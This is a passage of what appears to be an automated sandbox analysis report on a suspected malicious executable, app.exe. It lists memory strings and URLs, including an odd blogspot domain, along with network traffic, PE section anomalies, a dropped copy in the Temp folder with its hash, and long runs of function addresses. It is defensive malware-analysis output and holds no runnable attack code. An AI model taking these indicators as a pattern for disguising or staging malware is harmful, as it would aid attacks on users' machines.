Source: app.exe, 00000003.00000003.3188734917.00000000058E3000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3182590144.00000000058E8000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3183161453.00000000058E8000.00000004.00000020.00020000.00000000.sdmp, Web Data.3.dr	String found in binary or memory: https://uk.search.yahoo.com/favicon.icohttps://uk.search.yahoo.com/search
Source: app.exe, 00000003.00000003.3188734917.00000000058E3000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3182590144.00000000058E8000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3183161453.00000000058E8000.00000004.00000020.00020000.00000000.sdmp, Web Data.3.dr	String found in binary or memory: https://uk.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: app.exe, 00000003.00000003.3245462405.00000000058E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://windows-drivers-x04.blogspot.com
Source: app.exe, 00000003.00000003.3245462405.00000000058E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.autoitscript.com
Source: app.exe, 00000003.00000003.3182859527.00000000055E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.autoitscript.com/cgi-bin/getfile.pl?autoit3/autoit-v3-setup.exe
Source: app.exe, 00000003.00000003.3182859527.00000000055E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.autoitscript.com/files/autoit3/autoit-v3-setup.exeQ
Source: app.exe, 00000003.00000003.3182859527.00000000055F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.autoitscript.com/site/autoit/downloads/7
Source: app.exe, 00000003.00000003.3182859527.00000000055F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.autoitscript.com/site/autoit/downloads/AutoIt
Source: app.exe, 00000003.00000003.3182859527.00000000055E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.autoitscript.com/site/autoit/downloads/https://www.autoitscript.com/site/autoit/download
Source: app.exe, 00000003.00000003.3182859527.00000000055F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.eicar.org/download-anti-malware-testfile/:
Source: app.exe, 00000003.00000003.3182148991.0000000005603000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3178386939.00000000055E3000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3182859527.0000000005603000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.eicar.org/download-anti-malware-testfile/Download
Source: app.exe, 00000003.00000003.3182859527.00000000055E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.eicar.org/https://eicar.org/https://www.eicar.org/download-anti-malware-testfile/https:/
Source: app.exe, 00000003.00000003.3245462405.00000000058E5000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3257419916.00000000055D6000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3261882543.00000000055DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: app.exe, 00000003.00000003.3182859527.00000000055F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/?&brand=CHWL&utm_campaign=en&utm_source=en-et-na-us-chrome-bubble&utm_
Source: app.exe, 00000003.00000003.3183161453.00000000058E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/favicon.ico
Source: app.exe, 00000003.00000003.3188734917.00000000058E3000.00000004.00000020.00020000.00000000.sdmp, Web Data.3.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: app.exe, 00000003.00000003.3182859527.00000000055F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?q=at
Source: app.exe, 00000003.00000003.3182859527.00000000055F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?q=autoit
Source: app.exe, 00000003.00000003.3182859527.00000000055F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?q=eicar
Source: app.exe, 00000003.00000003.3182859527.00000000055E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-GB/firefox/all/#product-desktop-release
Source: app.exe, 00000003.00000003.3182859527.00000000055E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-GB/firefox/all/#product-desktop-releasehttps://www.mozilla.org/en-GB/fire
Source: app.exe, 00000003.00000003.3182859527.00000000055F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/setup
Source: app.exe, 00000003.00000003.3182859527.00000000055F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/setupMicrosoft

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443

Source: unknown

HTTPS traffic detected: 172.67.74.152:443 -> 192.168.11.20:49788 version: TLS 1.2

Source: C:\Users\user\Desktop\app.exe

Code function: 0_2_00424B38 GetKeyState,GetKeyState,GetKeyState,GetKeyState,SendMessageA,

0_2_00424B38

System Summary

PE file contains section with special chars

Source: app.exe	Static PE information: section name: )m&
Source: app.exe.0.dr	Static PE information: section name: )m&

PE file has a writeable .text section

Source: app.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: app.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_025C02D0 GetStdHandle,GetLastError,GetConsoleMode,NtWriteFile,WaitForSingleObject,RtlNtStatusToDosError,CloseHandle,	0_2_025C02D0
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_025C77D0 NtReadFile,WaitForSingleObject,RtlNtStatusToDosError,	0_2_025C77D0
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_025902D0 GetStdHandle,GetLastError,GetConsoleMode,NtWriteFile,WaitForSingleObject,RtlNtStatusToDosError,CloseHandle,	3_2_025902D0
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_025977D0 NtReadFile,WaitForSingleObject,RtlNtStatusToDosError,	3_2_025977D0
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_02579E36 AcquireSRWLockExclusive,AcquireSRWLockExclusive,NtDeviceIoControlFile,RtlNtStatusToDosError,AcquireSRWLockExclusive,AcquireSRWLockExclusive,AcquireSRWLockExclusive,AcquireSRWLockExclusive,	3_2_02579E36

Source: C:\Users\user\Desktop\app.exe

Code function: 0_2_0040A44A: GetCurrentProcess,SetPriorityClass,CreateFileA,DeviceIoControl,CloseHandle,GetCurrentProcess,SetPriorityClass,

0_2_0040A44A

Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_004092DE	0_2_004092DE
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_00404358	0_2_00404358
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_0040941D	0_2_0040941D
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_0040964F	0_2_0040964F
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_0040A770	0_2_0040A770
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_00407703	0_2_00407703
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_004077F6	0_2_004077F6
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_00409A38	0_2_00409A38
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_00412AC0	0_2_00412AC0
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_00425B56	0_2_00425B56
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_00407DBE	0_2_00407DBE
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_00404E54	0_2_00404E54
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_00418E0E	0_2_00418E0E
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_0257A020	0_2_0257A020
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_025D91D2	0_2_025D91D2
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_025801BB	0_2_025801BB
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_025BE5F7	0_2_025BE5F7
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_0259AA16	0_2_0259AA16
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_02583ABA	0_2_02583ABA
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_025D1862	0_2_025D1862
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_02591E40	0_2_02591E40
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_0259BD08	0_2_0259BD08
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_025D3239	0_2_025D3239
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_025A3224	0_2_025A3224
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_025A0225	0_2_025A0225
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_025B72D7	0_2_025B72D7
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_025C42F5	0_2_025C42F5
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_025A628E	0_2_025A628E
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_025CF340	0_2_025CF340
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_025D430E	0_2_025D430E
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_02566320	0_2_02566320
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_025D632B	0_2_025D632B
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_025A53DD	0_2_025A53DD
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_025ED3D0	0_2_025ED3D0
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_025DD3C0	0_2_025DD3C0
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_0258C38E	0_2_0258C38E
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_025E3389	0_2_025E3389
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_025F13BD	0_2_025F13BD
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_025A3001	0_2_025A3001
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_025BE030	0_2_025BE030
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_025D20E3	0_2_025D20E3
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_0257B090	0_2_0257B090
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_025EE16F	0_2_025EE16F
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_025AB13B	0_2_025AB13B
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_02563130	0_2_02563130
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_0256B1F0	0_2_0256B1F0
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_025B1180	0_2_025B1180
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_0256A1B0	0_2_0256A1B0
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_025811A0	0_2_025811A0
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_02562670	0_2_02562670
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_025EE605	0_2_025EE605
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_0257B695	0_2_0257B695
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_025C0690	0_2_025C0690
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_025AC6AE	0_2_025AC6AE
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_02577754	0_2_02577754
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_0257771C	0_2_0257771C
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_0257670C	0_2_0257670C
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_02563790	0_2_02563790
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_02582449	0_2_02582449
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_025A6468	0_2_025A6468
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_02563400	0_2_02563400
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_025B74D0	0_2_025B74D0
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_025B34D6	0_2_025B34D6
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_0256B4C0	0_2_0256B4C0
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_025EF4C2	0_2_025EF4C2
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_0256E490	0_2_0256E490
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_025A4544	0_2_025A4544
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_025D352A	0_2_025D352A
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_025985C9	0_2_025985C9
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_025D85F4	0_2_025D85F4
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_02598A44	0_2_02598A44
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_025A4A88	0_2_025A4A88
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_0258BAB0	0_2_0258BAB0
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_02586B58	0_2_02586B58
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_025A2B5E	0_2_025A2B5E
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_02561B50	0_2_02561B50
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_0256BB50	0_2_0256BB50
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_025D1B40	0_2_025D1B40
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_0258DB7B	0_2_0258DB7B
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_0258EB69	0_2_0258EB69
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_025B6B1B	0_2_025B6B1B
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_025EBB18	0_2_025EBB18
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_0256AB90	0_2_0256AB90
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_0259585F	0_2_0259585F
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_025ED844	0_2_025ED844
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_0256F8EC	0_2_0256F8EC
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_025D3890	0_2_025D3890
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_025648A0	0_2_025648A0
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_025B98A5	0_2_025B98A5
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_02569950	0_2_02569950
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_02573962	0_2_02573962
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_0257799F	0_2_0257799F
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_025C1E40	0_2_025C1E40
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_025F0E40	0_2_025F0E40
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_3_0552C3BF	3_3_0552C3BF
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_02570225	3_2_02570225
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_0255C38E	3_2_0255C38E
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_025A91D2	3_2_025A91D2
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_025501BB	3_2_025501BB
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_025511A0	3_2_025511A0
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_0258E5F7	3_2_0258E5F7
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_0256AA16	3_2_0256AA16
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_02574A88	3_2_02574A88
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_02553ABA	3_2_02553ABA
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_02556B58	3_2_02556B58
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_0255DB7B	3_2_0255DB7B
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_0255EB69	3_2_0255EB69
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_0256585F	3_2_0256585F
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_025A1862	3_2_025A1862
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_025898A5	3_2_025898A5
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_02561E40	3_2_02561E40
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_0255AE37	3_2_0255AE37
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_02557C6F	3_2_02557C6F
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_02553C05	3_2_02553C05
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_02584D4A	3_2_02584D4A
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_0256BD08	3_2_0256BD08
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_025A3239	3_2_025A3239
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_02573224	3_2_02573224
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_025872D7	3_2_025872D7
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_025942F5	3_2_025942F5
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_0257628E	3_2_0257628E
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_0259F340	3_2_0259F340
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_025A430E	3_2_025A430E
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_025A632B	3_2_025A632B
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_02536320	3_2_02536320
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_025753DD	3_2_025753DD
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_025BD3D0	3_2_025BD3D0
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_025AD3C0	3_2_025AD3C0
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_025B3389	3_2_025B3389
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_025C13BD	3_2_025C13BD
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_02573001	3_2_02573001
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_0258E030	3_2_0258E030
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_0254A020	3_2_0254A020
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_025A20E3	3_2_025A20E3
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_0254B090	3_2_0254B090
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_025BE16F	3_2_025BE16F
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_02533130	3_2_02533130
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_0257B13B	3_2_0257B13B
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_0253B1F0	3_2_0253B1F0
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_02581180	3_2_02581180
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_0253A1B0	3_2_0253A1B0
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_02532670	3_2_02532670
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_025BE605	3_2_025BE605
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_0254B695	3_2_0254B695
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_02590690	3_2_02590690
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_0257C6AE	3_2_0257C6AE
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_02547754	3_2_02547754
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_0254771C	3_2_0254771C
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_0254670C	3_2_0254670C
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_02533790	3_2_02533790
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_02552449	3_2_02552449
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_02576468	3_2_02576468
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_02533400	3_2_02533400
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_025874D0	3_2_025874D0
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_025834D6	3_2_025834D6
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_0253B4C0	3_2_0253B4C0
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_025BF4C2	3_2_025BF4C2
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_0253E490	3_2_0253E490
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_02574544	3_2_02574544
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_025A352A	3_2_025A352A
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_025685C9	3_2_025685C9
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_025A85F4	3_2_025A85F4
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_02568A44	3_2_02568A44
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_0255BAB0	3_2_0255BAB0
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_02531B50	3_2_02531B50
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_0253BB50	3_2_0253BB50
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_02572B5E	3_2_02572B5E
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_025A1B40	3_2_025A1B40
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_025BBB18	3_2_025BBB18
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_02586B1B	3_2_02586B1B
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_0253AB90	3_2_0253AB90
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_025BD844	3_2_025BD844
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_0253F8EC	3_2_0253F8EC
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_025A3890	3_2_025A3890
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_025348A0	3_2_025348A0
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_02539950	3_2_02539950
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_02543962	3_2_02543962
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_0254799F	3_2_0254799F
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_02591E40	3_2_02591E40
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_025C0E40	3_2_025C0E40
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_02587E74	3_2_02587E74
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_02579E36	3_2_02579E36
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_02536EC0	3_2_02536EC0
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_02586ECC	3_2_02586ECC
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_02557EF1	3_2_02557EF1
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_0257DEE0	3_2_0257DEE0
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_02586F5B	3_2_02586F5B
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_0257CF7C	3_2_0257CF7C
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_02542F21	3_2_02542F21
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_02542C6E	3_2_02542C6E
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_02580C00	3_2_02580C00
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_02567C09	3_2_02567C09
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_025A5CD3	3_2_025A5CD3
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_02586CC5	3_2_02586CC5
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_025BDCE6	3_2_025BDCE6
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_02532C90	3_2_02532C90
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_02557CA3	3_2_02557CA3
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_025BFCA7	3_2_025BFCA7
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_02572D42	3_2_02572D42
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_02577D14	3_2_02577D14
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_02578D25	3_2_02578D25
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_02594DD0	3_2_02594DD0
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_02586DD2	3_2_02586DD2

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe E9BC44CF548A70E7285499209973FAF44B7374DECE1413DFCDC03BF25A6C599C

Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: String function: 025BCAF0 appears 156 times
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: String function: 02533D50 appears 96 times
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: String function: 025ADE90 appears 33 times
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: String function: 025BC9A0 appears 60 times
Source: C:\Users\user\Desktop\app.exe	Code function: String function: 00416398 appears 132 times
Source: C:\Users\user\Desktop\app.exe	Code function: String function: 025ECAF0 appears 112 times
Source: C:\Users\user\Desktop\app.exe	Code function: String function: 00416EF8 appears 50 times
Source: C:\Users\user\Desktop\app.exe	Code function: String function: 025EC9A0 appears 45 times
Source: C:\Users\user\Desktop\app.exe	Code function: String function: 02563D50 appears 73 times

Source: app.exe, 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilename vs app.exe
Source: app.exe, 00000003.00000000.2681579898.000000000044D000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilename vs app.exe
Source: app.exe	Binary or memory string: OriginalFilename vs app.exe
Source: app.exe.0.dr	Binary or memory string: OriginalFilename vs app.exe

Source: app.exe

